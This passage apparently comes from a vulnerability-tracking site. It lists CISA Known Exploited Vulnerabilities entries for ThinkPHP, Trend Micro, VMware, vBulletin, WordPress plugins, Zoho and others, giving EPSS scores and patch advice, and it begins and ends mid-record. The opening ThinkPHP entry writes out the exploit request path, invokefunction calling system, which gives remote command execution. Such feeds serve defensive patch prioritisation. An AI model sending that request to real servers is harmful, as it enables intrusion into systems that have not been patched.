ThinkPHP contains an unspecified vulnerability that allows for remote code execution via public//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= followed by the command.
EPSS 97.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-9082&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-9082: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-9082&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Trend Micro OfficeScan Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2019-18187
Trend Micro OfficeScan Directory Traversal Vulnerability (Nov 3, 2021).
Trend Micro OfficeScan contains a directory traversal vulnerability by extracting files from a zip file to a specific folder on the OfficeScan server, leading to remote code execution.
EPSS 25.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-18187&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-18187: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-18187&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Trend Micro Apex One and OfficeScan Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-8467
Trend Micro Apex One and OfficeScan Remote Code Execution Vulnerability (Nov 3, 2021).
Trend Micro Apex One and OfficeScan contain an unspecified vulnerability within a migration tool component that allows for remote code execution.
EPSS 10.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-8467&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-8467: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-8467&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Trend Micro Multiple Products Content Validation Escape Vulnerability
https://kevwire.com/record/CVE-2020-8468
Trend Micro Multiple Products Content Validation Escape Vulnerability (Nov 3, 2021).
Trend Micro Apex One, OfficeScan, and Worry-Free Business Security agents contain a content validation escape vulnerability that could allow an attacker to manipulate certain agent client components.
EPSS 6.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-8468&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-8468: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-8468&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Trend Micro Multiple Products Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2020-24557
Trend Micro Multiple Products Improper Access Control Vulnerability (Nov 3, 2021).
Trend Micro Apex One, OfficeScan, and Worry-Free Business Security on Microsoft Windows contain an improper access control vulnerability that may allow an attacker to manipulate a particular product folder to disable the security temporarily, abuse a specific Windows function, and attain privilege escalation.
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-24557&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-24557: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-24557&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Trend Micro Apex One and OfficeScan Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2020-8599
Trend Micro Apex One and OfficeScan Authentication Bypass Vulnerability (Nov 3, 2021).
Trend Micro Apex One and OfficeScan server contain a vulnerable EXE file that could allow a remote attacker to write data to a path on affected installations and bypass root login.
EPSS 11.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-8599&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-8599: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-8599&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Trend Micro Multiple Products Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2021-36742
Trend Micro Multiple Products Improper Input Validation Vulnerability (Nov 3, 2021).
Trend Micro Apex One, Apex One as a Service, and Worry-Free Business Security contain an improper input validation vulnerability that allows for privilege escalation.
EPSS 1.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-36742&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-36742: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-36742&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Trend Micro Multiple Products Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2021-36741
Trend Micro Multiple Products Improper Input Validation Vulnerability (Nov 3, 2021).
Trend Micro Apex One, Apex One as a Service, and Worry-Free Business Security contain an improper input validation vulnerability that allows a remote attacker to upload files.
EPSS 5.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-36741&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-36741: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-36741&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TVT NVMS-1000 Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2019-20085
TVT NVMS-1000 Directory Traversal Vulnerability (Nov 3, 2021).
TVT devices utilizing NVMS-1000 software contain a directory traversal vulnerability via GET /.. requests.
EPSS 96.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-20085&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-20085: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-20085&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Unraid Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2020-5849
Unraid Authentication Bypass Vulnerability (Nov 3, 2021).
Unraid contains an authentication bypass vulnerability that allows attackers to gain access to the administrative interface. This CVE is chainable with CVE-2020-5847 for remote code execution.
EPSS 93.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-5849&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-5849: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-5849&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Unraid Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-5847
Unraid Remote Code Execution Vulnerability (Nov 3, 2021).
Unraid contains a vulnerability due to the insecure use of the extract PHP function that can be abused to execute remote code as root. This CVE is chainable with CVE-2020-5849 for initial access.
EPSS 95.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-5847&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-5847: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-5847&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### vBulletin PHP Module Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-16759
vBulletin PHP Module Remote Code Execution Vulnerability (Nov 3, 2021).
The PHP module within vBulletin contains an unspecified vulnerability that allows for remote code execution via the widgetConfig[code] parameter in an ajax/render/widget_php routestring request.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-16759&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-16759: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-16759&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### vBulletin PHP Module Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-17496
vBulletin PHP Module Remote Code Execution Vulnerability (Nov 3, 2021).
The PHP module within vBulletin contains an unspecified vulnerability that allows for remote code execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. This CVE ID resolves an incomplete patch for CVE-2019-16759.
EPSS 87.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-17496&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-17496: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-17496&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware ESXi and Horizon DaaS OpenSLP Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2019-5544
VMware ESXi and Horizon DaaS OpenSLP Heap-Based Buffer Overflow Vulnerability (Nov 3, 2021).
VMware ESXi and Horizon Desktop as a Service (DaaS) OpenSLP contains a heap-based buffer overflow vulnerability that allows an attacker with network access to port 427 to overwrite the heap of the OpenSLP service to perform remote code execution.
EPSS 98.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-5544&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-5544: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-5544&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware ESXi OpenSLP Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2020-3992
VMware ESXi OpenSLP Use-After-Free Vulnerability (Nov 3, 2021).
VMware ESXi OpenSLP contains a use-after-free vulnerability that allows an attacker residing in the management network with access to port 427 to perform remote code execution.
EPSS 83.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3992&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-3992: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3992&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware Multiple Products Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2020-3950
VMware Multiple Products Privilege Escalation Vulnerability (Nov 3, 2021).
VMware Fusion, Remote Console (VMRC) for Mac, and Horizon Client for Mac contain a privilege escalation vulnerability due to improper use of setuid binaries that allows attackers to escalate privileges to root.
EPSS 7.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3950&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-3950: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3950&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware vCenter Server File Upload Vulnerability
https://kevwire.com/record/CVE-2021-22005
VMware vCenter Server File Upload Vulnerability (Nov 3, 2021).
VMware vCenter Server contains a file upload vulnerability in the Analytics service that allows a user with network access to port 443 to execute code.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22005&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22005: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22005&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware vCenter Server Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2020-3952
VMware vCenter Server Information Disclosure Vulnerability (Nov 3, 2021).
VMware vCenter Server contains an information disclosure vulnerability in the VMware Directory Service (vmdir) when the Platform Services Controller (PSC) does not correctly implement access controls. Successful exploitation allows an attacker with network access to port 389 to extract sensitive information.
EPSS 90.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-3952&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-3952: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-3952&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware vCenter Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-21972
VMware vCenter Server Remote Code Execution Vulnerability (Nov 3, 2021).
VMware vCenter Server vSphere Client contains a remote code execution vulnerability in a vCenter Server plugin which allows an attacker with network access to port 443 to execute commands with unrestricted privileges on the underlying operating system.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21972&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-21972: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21972&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware vCenter Server Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2021-21985
VMware vCenter Server Improper Input Validation Vulnerability (Nov 3, 2021).
VMware vSphere Client contains an improper input validation vulnerability in the Virtual SAN Health Check plug-in, which is enabled by default in vCenter Server, which allows for remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21985&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-21985: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21985&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware Multiple Products: Multiple VMware Products Command Injection Vulnerability
https://kevwire.com/record/CVE-2020-4006
VMware Multiple Products: Multiple VMware Products Command Injection Vulnerability (Nov 3, 2021).
VMware Workspace One Access, Access Connector, Identity Manager, and Identity Manager Connector contain a command injection vulnerability. An attacker with network access to the administrative configurator on port 8443 and a valid password for the configurator administrator account can execute commands with unrestricted privileges on the underlying operating system.
EPSS 17.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-4006&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-4006: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-4006&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WordPress File Manager Plugin Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-25213
WordPress File Manager Plugin Remote Code Execution Vulnerability (Nov 3, 2021).
WordPress File Manager plugin contains a remote code execution vulnerability that allows unauthenticated users to execute PHP code and upload malicious files on a target site.
EPSS 97.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-25213&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-25213: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-25213&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WordPress Snap Creek Duplicator Plugin File Download Vulnerability
https://kevwire.com/record/CVE-2020-11738
WordPress Snap Creek Duplicator Plugin File Download Vulnerability (Nov 3, 2021).
WordPress Snap Creek Duplicator plugin contains a file download vulnerability when an administrator creates a new copy of their site that allows an attacker to download the generated files from their Wordpress dashboard. This vulnerability affects Duplicator and Dulplicator Pro.
EPSS 97.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-11738&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-11738: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-11738&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WordPress Social Warfare Plugin Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2019-9978
WordPress Social Warfare Plugin Cross-Site Scripting (XSS) Vulnerability (Nov 3, 2021).
WordPress Social Warfare plugin contains a cross-site scripting (XSS) vulnerability that allows for remote code execution. This vulnerability affects Social Warfare and Social Warfare Pro.
EPSS 72.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-9978&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-9978: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-9978&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Yealink Device Management Server-Side Request Forgery (SSRF) Vulnerability
https://kevwire.com/record/CVE-2021-27561
Yealink Device Management Server-Side Request Forgery (SSRF) Vulnerability (Nov 3, 2021).
Yealink Device Management contains a server-side request forgery (SSRF) vulnerability that allows for unauthenticated remote code execution.
EPSS 82.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27561&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-27561: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27561&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zoho ManageEngine ADSelfService Plus Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2021-40539
Zoho ManageEngine ADSelfService Plus Authentication Bypass Vulnerability (Nov 3, 2021).
Zoho ManageEngine ADSelfService Plus contains an authentication bypass vulnerability affecting the REST API URLs which allow for remote code execution.
EPSS 99.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-40539&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-40539: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-40539&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zoho ManageEngine Desktop Central File Upload Vulnerability
https://kevwire.com/record/CVE-2020-10189
Zoho ManageEngine Desktop Central File Upload Vulnerability (Nov 3, 2021).
Zoho ManageEngine Desktop Central contains a file upload vulnerability that allows for unauthenticated remote code execution.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-10189&date=2026-10-25).
Sources:
